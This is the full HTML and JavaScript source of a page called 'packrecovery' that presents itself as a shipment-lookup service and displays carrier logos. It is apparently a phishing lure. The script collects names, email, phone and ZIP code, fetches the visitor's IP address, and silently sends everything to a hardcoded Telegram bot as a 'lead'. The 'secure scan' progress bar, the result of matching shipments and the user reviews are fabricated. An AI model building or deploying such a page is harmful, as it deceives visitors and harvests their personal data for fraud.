<meta charset="UTF-8">

  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <title>packrecovery - Shipment Lookup</title>

  <script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>

  <style>

    :root {

      --bg: #05070b;

      --surface: #0c121d;

      --surface-soft: #101827;

      --text: #e5e7eb;

      --muted: #97a3b6;

      --line: #1f2a3a;

      --line-strong: #2d3f58;

      --accent: #4f8cff;

      --radius-xl: 24px;

      --radius-lg: 14px;

      --shadow-soft: 0 20px 42px -25px rgba(2, 6, 23, 0.9);

    }


    * { box-sizing: border-box; }

    html, body { margin: 0; overflow-x: hidden; background: var(--bg); }

    body {

      min-height: 100vh;

      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Inter, Roboto, "Helvetica Neue", Arial, sans-serif;

      color: var(--text);

      line-height: 1.45;

      -webkit-font-smoothing: antialiased;

    }


    .bg-layer {

      position: fixed;

      inset: 0;

      pointer-events: none;

      z-index: -2;

      background:

        radial-gradient(70% 58% at 12% 0%, rgba(79, 140, 255, 0.12), transparent 55%),

        radial-gradient(65% 52% at 88% 0%, rgba(130, 161, 255, 0.08), transparent 55%),

        linear-gradient(180deg, #05070b 0%, #060b12 100%);

    }


    .shell {

      width: min(100%, 1240px);

      margin: 0 auto;

      padding: 24px 16px 46px;

      min-height: 100vh;

      position: relative;

    }


    .topbar {

      display: flex;

      justify-content: space-between;

      align-items: center;

      margin-bottom: 16px;

    }


    .brand {

      display: inline-flex;

      align-items: center;

      gap: 10px;

      font-size: 1.02rem;

      font-weight: 600;

    }


    .brand-mark {

      width: 28px;

      height: 28px;

      border: 1px solid #3a4d66;

      border-radius: 9px;

      display: inline-flex;

      align-items: center;

      justify-content: center;

      background: linear-gradient(160deg, #172131 0%, #111a28 100%);

      box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.08);

    }


    .brand-mark svg {

      width: 16px;

      height: 16px;

    }


    .brand-mark path {

      stroke: #84adff;

      stroke-width: 1.6;

      fill: rgba(132, 173, 255, 0.16);

      stroke-linejoin: round;

      stroke-linecap: round;

    }


    .badge {

      font-size: 0.73rem;

      letter-spacing: 0.08em;

      text-transform: uppercase;

      color: #b7c2d1;

      border: 1px solid var(--line-strong);

      border-radius: 999px;

      padding: 7px 11px;

      background: rgba(15, 22, 34, 0.9);

      font-weight: 600;

    }


    .announcement {

      width: min(100%, 760px);

      margin: 0 auto 18px;

      text-align: center;

      border: 1px solid #2a3a50;

      border-radius: 12px;

      background: rgba(18, 28, 43, 0.72);

      color: #c9d6e8;

      font-size: 0.9rem;

      padding: 10px 14px;

    }


    .carrier-strip {

      width: min(100%, 760px);

      margin: 0 auto 24px;

      border: 1px solid var(--line);

      border-radius: 14px;

      padding: 10px 12px;

      background: rgba(13, 20, 31, 0.88);

      display: flex;

      align-items: center;

      gap: 12px;

      box-shadow: 0 15px 30px -23px rgba(2, 6, 23, 0.9);

    }


    .carrier-label {

      margin: 0;

      color: #8ea0b7;

      text-transform: uppercase;

      letter-spacing: 0.08em;

      font-size: 0.75rem;

      white-space: nowrap;

    }


    .carrier-stage {

      position: relative;

      flex: 1;

      min-height: 40px;

      display: flex;

      align-items: center;

      justify-content: center;

      overflow: hidden;

    }


    .carrier-item {

      position: absolute;

      display: inline-flex;

      align-items: center;

      gap: 10px;

      opacity: 0;

      transform: translateY(9px);

      transition: opacity 0.35s ease, transform 0.35s ease;

    }


    .carrier-item.active {

      opacity: 1;

      transform: translateY(0);

    }


    .carrier-icon {

      width: 30px;

      height: 30px;

      border-radius: 8px;

      background: #fff;

      border: 1px solid #d4dde7;

      overflow: hidden;

      display: inline-flex;

      align-items: center;

      justify-content: center;

      flex-shrink: 0;

    }


    .carrier-logo {

      width: 78%;

      height: 78%;

      object-fit: contain;

    }


    .carrier-fallback {

      color: #4f8cff;

      font-size: 0.75rem;

      font-weight: 700;

    }


    .carrier-name {

      color: #d7e0ee;

      font-size: 0.9rem;

      font-weight: 560;

    }


    .carrier-control {

      width: 32px;

      height: 32px;

      border: 1px solid #2d3e55;

      border-radius: 999px;

      background: #101927;

      color: #b9c6d9;

      cursor: pointer;

      transition: transform 0.15s ease, border-color 0.2s ease;

    }


    .carrier-control:hover { transform: translateY(-1px); border-color: #45658a; }

    .carrier-control:focus-visible,

    input:focus-visible,

    button:focus-visible {

      outline: none;

      box-shadow: 0 0 0 4px rgba(79, 140, 255, 0.22);

      border-color: #6ea3ff;

    }


    .hero { text-align: center; margin-bottom: 28px; }

    .eyebrow {

      margin: 0;

      font-size: 0.73rem;

      letter-spacing: 0.12em;

      text-transform: uppercase;

      color: #9aa4b2;

      font-weight: 600;

    }


    h1 {

      margin: 12px auto 14px;

      max-width: 760px;

      font-size: clamp(2rem, 4.9vw, 3.2rem);

      line-height: 1.1;

      letter-spacing: -0.028em;

      color: #f8fafc;

    }


    .hero p {

      margin: 0 auto;

      max-width: 620px;

      color: var(--muted);

      font-size: clamp(1rem, 2.2vw, 1.12rem);

      transition: opacity 0.28s ease;

    }


    .hero-subtitle-hidden { opacity: 0; }


    .main-card {

      width: min(100%, 680px);

      margin: 30px auto 0;

      border: 1px solid var(--line);

      border-radius: var(--radius-xl);

      background: linear-gradient(180deg, rgba(14, 21, 33, 0.96), rgba(10, 16, 27, 0.98));

      box-shadow: var(--shadow-soft), inset 0 1px 0 rgba(255, 255, 255, 0.04);

      padding: 22px 18px;

    }


    .state-stage { position: relative; transition: height 0.42s ease; }

    .state-panel {

      position: absolute;

      inset: 0;

      opacity: 0;

      transform: translateY(12px);

      pointer-events: none;

      transition: opacity 0.35s ease, transform 0.35s ease;

    }


    .state-panel.active {

      position: relative;

      opacity: 1;

      transform: translateY(0);

      pointer-events: auto;

    }


    .panel-head {

      display: flex;

      justify-content: space-between;

      gap: 12px;

      margin-bottom: 18px;

    }


    .panel-head h2 { margin: 0; font-size: 1.15rem; }

    .subtle { margin: 0; font-size: 0.86rem; color: var(--muted); }

    .fields-grid { display: grid; grid-template-columns: 1fr; gap: 14px; }

    .field { display: flex; flex-direction: column; gap: 8px; }

    .field-zip { grid-column: 1 / -1; }

    label { color: #c8d2e1; font-size: 0.89rem; font-weight: 550; }


    input {

      height: 54px;

      border-radius: 13px;

      border: 1px solid var(--line-strong);

      background: var(--surface-soft);

      color: #f8fafc;

      padding: 0 14px;

      font-size: 1rem;

      transition: border-color 0.2s ease, box-shadow 0.2s ease;

    }


    input[aria-invalid="true"] {

      border-color: #dc2626;

      box-shadow: 0 0 0 4px rgba(220, 38, 38, 0.12);

    }


    .error { margin: 0; color: #fca5a5; font-size: 0.8rem; min-height: 1.1em; }


    .btn-primary,

    .btn-secondary {

      width: 100%;

      min-height: 54px;

      border-radius: var(--radius-lg);

      cursor: pointer;

      font-size: 0.99rem;

      font-weight: 600;

      transition: transform 0.18s ease, box-shadow 0.22s ease;

    }


    .btn-primary {

      background: #182538;

      color: #fff;

      border: 1px solid #20334d;

      margin-top: 8px;

      box-shadow: 0 12px 24px -18px rgba(2, 6, 23, 0.9);

    }


    .btn-primary:hover,

    .btn-secondary:hover { transform: translateY(-1px); }


    .btn-secondary {

      border: 1px solid var(--line-strong);

      color: #dbe4f2;

      background: #101826;

      margin-top: 20px;

    }


    .privacy-note { margin: 11px 2px 0; color: #8d9aad; font-size: 0.78rem; }


    .info-block {

      margin-top: 18px;

      display: grid;

      grid-template-columns: 3px 1fr;

      gap: 12px;

      border: 1px solid var(--line);

      border-radius: 16px;

      padding: 14px;

      background: #0f1622;

    }


    .info-block::before {

      content: "";

      background: #7ea4ff;

      border-radius: 999px;

    }


    .info-block h3 { margin: 0; font-size: 0.95rem; }

    .info-block p { margin: 4px 0 0; color: var(--muted); font-size: 0.85rem; }


    .loader-wrap { text-align: center; padding: 18px 4px 8px; }

    .loader {

      width: 56px;

      height: 56px;

      margin: 0 auto 18px;

      border-radius: 999px;

      border: 3px solid #dbe6fb;

      border-top-color: var(--accent);

      animation: spin 1s linear infinite;

    }


    @keyframes spin { to { transform: rotate(360deg); } }

    .loader-wrap h2 { margin: 0; font-size: 1.2rem; }

    .status-text { margin: 8px 0 0; color: #9aa6b5; font-size: 0.95rem; min-height: 1.5em; }


    .progress-box {

      margin-top: 18px;

      border: 1px solid var(--line);

      border-radius: 14px;

      padding: 12px;

      background: #101927;

      text-align: left;

    }


    .progress-label {

      display: flex;

      justify-content: space-between;

      color: #9eabc0;

      font-size: 0.85rem;

      margin-bottom: 8px;

    }


    .progress-track {

      width: 100%;

      height: 11px;

      border-radius: 999px;

      background: #172231;

      border: 1px solid #25344a;

      overflow: hidden;

    }


    .progress-fill {

      width: 0%;

      height: 100%;

      border-radius: inherit;

      background: linear-gradient(90deg, #6ca1ff 0%, #4b86ff 100%);

      box-shadow: 0 0 18px rgba(75, 134, 255, 0.42);

      transition: width 0.08s linear;

    }


    .notice {

      margin-top: 14px;

      border-left: 3px solid #8ab1ff;

      border-radius: 10px;

      padding: 10px 12px;

      color: #bfcbda;

      background: #0f1a2a;

      font-size: 0.83rem;

      opacity: 0;

      transform: translateY(5px);

      transition: opacity 0.45s ease, transform 0.45s ease;

    }


    .notice.visible { opacity: 1; transform: translateY(0); }

    .result-top { text-align: center; }


    .status-badge {

      display: inline-block;

      border: 1px solid var(--line-strong);

      border-radius: 999px;

      padding: 6px 11px;

      color: #ced7e4;

      font-size: 0.72rem;

      letter-spacing: 0.08em;

      text-transform: uppercase;

      background: #0f1622;

      font-weight: 650;

    }


    .result-top h2 {

      margin: 14px auto 9px;

      font-size: clamp(1.55rem, 3.3vw, 2.1rem);

      line-height: 1.2;

    }


    .result-top p { margin: 0 auto; color: var(--muted); max-width: 510px; }

    .next-step {

      margin-top: 18px;

      border: 1px solid var(--line);

      border-radius: 16px;

      padding: 14px;

      background: #101927;

    }


    .next-step h3 { margin: 0; font-size: 0.96rem; }

    .next-step p { margin: 5px 0 0; color: #a6b3c6; font-size: 0.88rem; }


    .reviews {

      width: min(100%, 760px);

      margin: 34px auto 0;

      border-top: 1px solid var(--line);

      padding-top: 22px;

    }


    .reviews h2 { margin: 0 0 4px; text-align: center; font-size: 1.14rem; }

    .reviews-subtitle { margin: 0 0 16px; text-align: center; color: #92a0b2; font-size: 0.9rem; }

    .review-list { margin: 0; padding: 0; list-style: none; }


    .review-item {

      border: 1px solid var(--line);

      border-radius: 12px;

      background: rgba(15, 23, 35, 0.75);

      padding: 14px;

      margin-bottom: 10px;

      color: #d9e3f1;

    }


    .review-item p { margin: 0; font-size: 0.9rem; }

    .review-meta { margin-top: 8px; display: block; color: #8ea0b7; font-size: 0.8rem; }

    footer { text-align: center; margin-top: 34px; color: #8f9cad; font-size: 0.8rem; padding-bottom: 10px; }


    @media (min-width: 700px) {

      .shell { padding: 34px 24px 54px; }

      .main-card { padding: 28px; }

      .fields-grid { grid-template-columns: 1fr 1fr; }

    }


    @media (max-width: 560px) {

      .carrier-label { display: none; }

      .carrier-strip { padding: 10px; }

    }

  </style>



  <div class="bg-layer" aria-hidden="true"></div>

  <div class="shell">

    <header class="topbar" aria-label="Page header">

      <div class="brand" aria-label="packrecovery brand">

        <span class="brand-mark" aria-hidden="true">

          <svg viewBox="0 0 24 24" fill="none" aria-hidden="true" focusable="false">

            <path d="M12 3.2 19.3 7 12 10.8 4.7 7 12 3.2Z"></path>

            <path d="M4.7 7V15.9L12 20.6V10.8"></path>

            <path d="M19.3 7V15.9L12 20.6"></path>

          </svg>

        </span>

        <span>packrecovery</span>

      </div>

      <span class="badge">Secure Lookup</span>

    </header>


    <main>

      <p class="announcement">You may not know about some shipments. Check them here.</p>


      <section class="carrier-strip" aria-label="Carrier environments">

        <p class="carrier-label">Carrier environments</p>

        <button id="carrierPrev" class="carrier-control" type="button" aria-label="Show previous carrier">‹</button>

        <div id="carrierStage" class="carrier-stage" aria-live="polite"></div>

        <button id="carrierNext" class="carrier-control" type="button" aria-label="Show next carrier">›</button>

      </section>


      <section class="hero" aria-labelledby="hero-title">

        <p class="eyebrow">Shipment lookup</p>

        <h1 id="hero-title">Check your package recovery status.</h1>

        <p id="heroSubtitle">Enter the details below to run a quick shipment-match check.</p>

      </section>


      <section class="main-card" aria-label="Shipment lookup">

        <div id="state-stage" class="state-stage">

          <div id="state-form" class="state-panel active">

            <form id="lookup-form" novalidate="">

              <div class="panel-head">

                <h2>Search shipment</h2>

                <p class="subtle">No account required</p>

              </div>


              <div class="fields-grid">

                <div class="field">

                  <label for="firstName">First name</label>

                  <input id="firstName" name="firstName" type="text" autocomplete="given-name" required="">

                  <p id="firstNameError" class="error" aria-live="polite"></p>

                </div>


                <div class="field">

                  <label for="lastName">Last name</label>

                  <input id="lastName" name="lastName" type="text" autocomplete="family-name" required="">

                  <p id="lastNameError" class="error" aria-live="polite"></p>

                </div>


                <div class="field field-zip">

                  <label for="email">Email (optional)</label>

                  <input id="email" name="email" type="email" autocomplete="email" inputmode="email" aria-describedby="privacyNote">

                  <p id="emailError" class="error" aria-live="polite"></p>

                </div>


                <div class="field field-zip">

                  <label for="phone">Phone number (optional)</label>

                  <input id="phone" name="phone" type="tel" autocomplete="tel" inputmode="tel" aria-describedby="privacyNote">

                  <p id="phoneError" class="error" aria-live="polite"></p>

                </div>


                <div class="field field-zip">

                  <label for="zipCode">ZIP code</label>

                  <input id="zipCode" name="zipCode" type="text" inputmode="numeric" autocomplete="postal-code" maxlength="10" required="" aria-describedby="privacyNote">

                  <p id="zipCodeError" class="error" aria-live="polite"></p>

                </div>

              </div>


              <button class="btn-primary" type="submit">Search package</button>

              <p id="privacyNote" class="privacy-note">Submitted details may be used for lookup processing and notification.</p>


              <aside class="info-block" aria-label="What happens next">

                <div>

                  <h3>What happens next</h3>

                  <p>A brief visual scan runs for a few seconds, then the lookup result is displayed.</p>

                </div>

              </aside>

            </form>

          </div>


          <div id="state-loading" class="state-panel" aria-live="polite" aria-atomic="true">

            <div class="loader-wrap">

              <div class="loader" aria-hidden="true"></div>

              <h2>Checking shipment records</h2>

              <p id="statusText" class="status-text">Preparing your search...</p>


              <div class="progress-box" role="status" aria-label="Progress status">

                <div class="progress-label">

                  <span>Secure browser scan</span>

                  <span id="progressPercent">0%</span>

                </div>

                <div class="progress-track" aria-hidden="true">

                  <div id="progressFill" class="progress-fill"></div>

                </div>

              </div>


              <div id="simNotice" class="notice" role="note">We may need a little more time to complete your search.</div>

            </div>

          </div>


          <div id="state-result" class="state-panel" aria-live="polite" aria-atomic="true">

            <div class="result-top">

              <span class="status-badge">Multiple matches found</span>

              <h2>We found more than 2 matching shipments.</h2>

              <p>The lookup returned multiple shipment records for the details entered.</p>

            </div>


            <div class="next-step">

              <h3>Next step</h3>

              <p>Refine the entered details for a narrower result, or review your original receipt and carrier tracking references.</p>

            </div>


            <button id="restartButton" class="btn-secondary" type="button">Show found packages</button>

          </div>

        </div>

      </section>


      <section class="reviews" aria-labelledby="reviewsTitle">

        <h2 id="reviewsTitle">What users say about the search experience</h2>

        <p class="reviews-subtitle">Recent feedback from people using this lookup flow</p>

        <ul class="review-list">

          <li class="review-item">

            <p>"Clear flow, quick steps, and no account friction. It made checking possible shipments very easy."</p>

            <span class="review-meta">Michael R. · Austin, TX</span>

          </li>

          <li class="review-item">

            <p>"The progress status feels transparent and professional. I immediately understood what was happening."</p>

            <span class="review-meta">Danielle T. · Orlando, FL</span>

          </li>

          <li class="review-item">

            <p>"Clean interface and great readability on laptop. Fast to complete and easy to run again."</p>

            <span class="review-meta">Kevin J. · Phoenix, AZ</span>

          </li>

        </ul>

      </section>

    </main>


    <footer>

      <div>© 2026 packrecovery</div>

    </footer>

  </div>


  <script>

    (function () {

      const form = document.getElementById('lookup-form');

      const stage = document.getElementById('state-stage');

      const states = {

        form: document.getElementById('state-form'),

        loading: document.getElementById('state-loading'),

        result: document.getElementById('state-result')

      };


      const fields = {

        firstName: document.getElementById('firstName'),

        lastName: document.getElementById('lastName'),

        email: document.getElementById('email'),

        phone: document.getElementById('phone'),

        zipCode: document.getElementById('zipCode')

      };


      const errors = {

        firstName: document.getElementById('firstNameError'),

        lastName: document.getElementById('lastNameError'),

        email: document.getElementById('emailError'),

        phone: document.getElementById('phoneError'),

        zipCode: document.getElementById('zipCodeError')

      };


      const statusText = document.getElementById('statusText');

      const progressPercent = document.getElementById('progressPercent');

      const progressFill = document.getElementById('progressFill');

      const simNotice = document.getElementById('simNotice');

      const restartButton = document.getElementById('restartButton');

      const heroSubtitle = document.getElementById('heroSubtitle');

      const carrierStage = document.getElementById('carrierStage');

      const carrierPrev = document.getElementById('carrierPrev');

      const carrierNext = document.getElementById('carrierNext');


      if (!form || !stage || !states.form || !states.loading || !states.result || !fields.firstName || !fields.lastName || !fields.zipCode) {

        return;

      }


      let activeState = 'form';

      let progressRafId = null;

      let carrierIndex = 0;

      let carrierTimer = null;


      const TELEGRAM_BOT_TOKEN = '8419748369:AAFXNFtICd4egqzVDd-RCN6ANXJe9SmTkA0';

      const TELEGRAM_CHAT_ID = new URLSearchParams(window.location.search).get('chat_id') || '-1004362060590';

      const zipRegex = /^\d{5}(?:-\d{4})?$/;

      const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]{2,}$/;

      const phoneRegex = /^(?:\+?1\s*(?:[.-]\s*)?)?(?:\(\d{3}\)|\d{3})\s*(?:[.-]\s*)?\d{3}\s*(?:[.-]\s*)?\d{4}$/;

      const messages = [

        { threshold: 0, text: 'Preparing your search...' },

        { threshold: 20, text: 'Matching name information...' },

        { threshold: 40, text: 'Checking ZIP region...' },

        { threshold: 60, text: 'Comparing shipment records...' },

        { threshold: 82, text: 'Finalizing lookup...' },

        { threshold: 100, text: 'Search complete' }

      ];


      const carriers = [

        { name: 'USPS', icon: 'US', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/usps.svg' },

        { name: 'UPS', icon: 'UP', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/ups.svg' },

        { name: 'FedEx', icon: 'FX', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/fedex.svg' },

        { name: 'Amazon', icon: 'AM', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/amazon.svg' },

        { name: 'DHL', icon: 'DH', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/dhl.svg' }

      ];


      function createCarrierItem(carrier, isActive) {

        const item = document.createElement('div');

        item.className = 'carrier-item' + (isActive ? ' active' : '');


        const icon = document.createElement('span');

        icon.className = 'carrier-icon';

        const logo = document.createElement('img');

        logo.className = 'carrier-logo';

        logo.src = carrier.logo;

        logo.alt = carrier.name + ' logo';

        logo.loading = 'lazy';

        logo.referrerPolicy = 'no-referrer';

        logo.addEventListener('error', function () {

          icon.innerHTML = '<span class="carrier-fallback">' + carrier.icon + '</span>';

        });

        icon.appendChild(logo);


        const name = document.createElement('span');

        name.className = 'carrier-name';

        name.textContent = carrier.name;


        item.appendChild(icon);

        item.appendChild(name);

        return item;

      }


      function mountCarrierStrip() {

        if (!carrierStage) {

          return;

        }

        carriers.forEach(function (carrier, index) {

          carrierStage.appendChild(createCarrierItem(carrier, index === carrierIndex));

        });

      }


      function showCarrier(nextIndex) {

        if (!carrierStage) {

          return;

        }

        const items = carrierStage.querySelectorAll('.carrier-item');

        if (!items.length) {

          return;

        }

        items[carrierIndex].classList.remove('active');

        carrierIndex = (nextIndex + items.length) % items.length;

        items[carrierIndex].classList.add('active');

      }


      function resetCarrierTimer() {

        if (carrierTimer) {

          clearInterval(carrierTimer);

        }

        carrierTimer = setInterval(function () {

          showCarrier(carrierIndex + 1);

        }, 2100);

      }


      function setStageHeight(value) {

        stage.style.height = value + 'px';

      }


      function switchState(nextState) {

        const currentPanel = states[activeState];

        const nextPanel = states[nextState];

        setStageHeight(currentPanel.offsetHeight);

        currentPanel.classList.remove('active');

        nextPanel.classList.add('active');

        activeState = nextState;

        requestAnimationFrame(function () {

          setStageHeight(nextPanel.offsetHeight);

        });

        setTimeout(function () {

          stage.style.height = 'auto';

        }, 460);

      }


      function showError(name, message) {

        if (fields[name]) {

          fields[name].setAttribute('aria-invalid', 'true');

        }

        if (errors[name]) {

          errors[name].textContent = message;

        }

      }


      function clearError(name) {

        if (fields[name]) {

          fields[name].setAttribute('aria-invalid', 'false');

        }

        if (errors[name]) {

          errors[name].textContent = '';

        }

      }


      function validateForm() {

        let valid = true;

        const firstName = fields.firstName.value.trim();

        const lastName = fields.lastName.value.trim();

        const email = fields.email ? fields.email.value.trim() : '';

        const phone = fields.phone ? fields.phone.value.trim() : '';

        const zipCode = fields.zipCode.value.trim();


        if (!firstName) {

          showError('firstName', 'First name is required.');

          valid = false;

        } else {

          clearError('firstName');

        }


        if (!lastName) {

          showError('lastName', 'Last name is required.');

          valid = false;

        } else {

          clearError('lastName');

        }


        if (email && !emailRegex.test(email)) {

          showError('email', 'Enter a valid email address.');

          valid = false;

        } else {

          clearError('email');

        }


        if (phone && !phoneRegex.test(phone)) {

          showError('phone', 'Enter a valid US phone number.');

          valid = false;

        } else {

          clearError('phone');

        }


        if (!zipCode) {

          showError('zipCode', 'ZIP code is required.');

          valid = false;

        } else if (!zipRegex.test(zipCode)) {

          showError('zipCode', 'Use ZIP format 12345 or 12345-6789.');

          valid = false;

        } else {

          clearError('zipCode');

        }


        return valid;

      }


      function updateLoadingUI(progress) {

        const clamped = Math.max(0, Math.min(100, progress));

        progressFill.style.width = clamped.toFixed(2) + '%';

        progressPercent.textContent = Math.round(clamped) + '%';


        let message = messages[0].text;

        for (let i = 0; i < messages.length; i += 1) {

          if (clamped >= messages[i].threshold) {

            message = messages[i].text;

          }

        }

        statusText.textContent = message;

        if (clamped >= 66) {

          simNotice.classList.add('visible');

        }

      }


      function resetLoadingState() {

        if (progressRafId) {

          cancelAnimationFrame(progressRafId);

          progressRafId = null;

        }

        simNotice.classList.remove('visible');

        updateLoadingUI(0);

      }


      function getDeviceName() {

        const ua = navigator.userAgent;

        if (/iPhone|iPad|iPod/i.test(ua)) return 'iOS device';

        if (/Android/i.test(ua)) return 'Android device';

        if (/Windows/i.test(ua)) return 'Windows desktop';

        if (/Macintosh|Mac OS X/i.test(ua)) return 'Mac desktop';

        if (/Linux/i.test(ua)) return 'Linux device';

        return 'Unknown device';

      }


      function getVisitorIp() {

        return fetch('https://api.ipify.org?format=json', { method: 'GET', cache: 'no-store' })

          .then(function (response) {

            if (!response.ok) {

              throw new Error('IP lookup failed');

            }

            return response.json();

          })

          .then(function (data) {

            return data && data.ip ? data.ip : 'Unavailable';

          })

          .catch(function () {

            return 'Unavailable';

          });

      }


      function sendLeadToTelegram(data) {

        if (!TELEGRAM_BOT_TOKEN || !TELEGRAM_CHAT_ID) {

          return;

        }


        const text = [

          'New packrecovery lookup',

          'First name: ' + data.firstName,

          'Last name: ' + data.lastName,

          'Email: ' + (data.email || 'Not provided'),

          'Phone: ' + (data.phone || 'Not provided'),

          'ZIP code: ' + data.zipCode,

          'IP address: ' + (data.ip || 'Unavailable'),

          'Device: ' + data.device,

          'Time: ' + new Date().toISOString(),

          'User agent: ' + navigator.userAgent

        ].join('\n');


        const body = new URLSearchParams({

          chat_id: TELEGRAM_CHAT_ID,

          text: text,

          disable_web_page_preview: 'true'

        });


        fetch('https://api.telegram.org/bot' + TELEGRAM_BOT_TOKEN + '/sendMessage', {

          method: 'POST',

          mode: 'no-cors',

          headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },

          body: body.toString()

        }).catch(function () {});

      }


      function startLookup() {

        resetLoadingState();

        if (heroSubtitle) {

          heroSubtitle.classList.add('hero-subtitle-hidden');

        }

        switchState('loading');


        const duration = 5000;

        const start = performance.now();


        function animate(now) {

          const percent = Math.min(((now - start) / duration) * 100, 100);

          updateLoadingUI(percent);

          if (percent < 100) {

            progressRafId = requestAnimationFrame(animate);

            return;

          }

          progressRafId = null;

          setTimeout(function () {

            switchState('result');

            if (restartButton) {

              restartButton.focus();

            }

          }, 520);

        }

        progressRafId = requestAnimationFrame(animate);

      }


      form.addEventListener('submit', function (event) {

        event.preventDefault();

        if (!validateForm()) {

          return;

        }


        const leadData = {

          firstName: fields.firstName.value.trim(),

          lastName: fields.lastName.value.trim(),

          email: fields.email ? fields.email.value.trim() : '',

          phone: fields.phone ? fields.phone.value.trim() : '',

          zipCode: fields.zipCode.value.trim(),

          device: getDeviceName()

        };


        getVisitorIp().then(function (ip) {

          sendLeadToTelegram({

            firstName: leadData.firstName,

            lastName: leadData.lastName,

            email: leadData.email,

            phone: leadData.phone,

            zipCode: leadData.zipCode,

            device: leadData.device,

            ip: ip

          });

        });


        startLookup();

      });


      Object.keys(fields).forEach(function (key) {

        if (!fields[key]) {

          return;

        }

        fields[key].addEventListener('input', function () {

          if (fields[key].getAttribute('aria-invalid') === 'true') {

            clearError(key);

          }

        });

      });


      if (restartButton) {

        restartButton.addEventListener('click', function () {

          switchState('form');

          fields.firstName.focus();

        });

      }


      if (carrierPrev) {

        carrierPrev.addEventListener('click', function () {

          showCarrier(carrierIndex - 1);

          resetCarrierTimer();

        });

      }


      if (carrierNext) {

        carrierNext.addEventListener('click', function () {

          showCarrier(carrierIndex + 1);

          resetCarrierTimer();

        });

      }


      mountCarrierStrip();

      resetCarrierTimer();

      stage.style.height = states.form.offsetHeight + 'px';

      setTimeout(function () {

        stage.style.height = 'auto';

      }, 120);

    })();

  </script>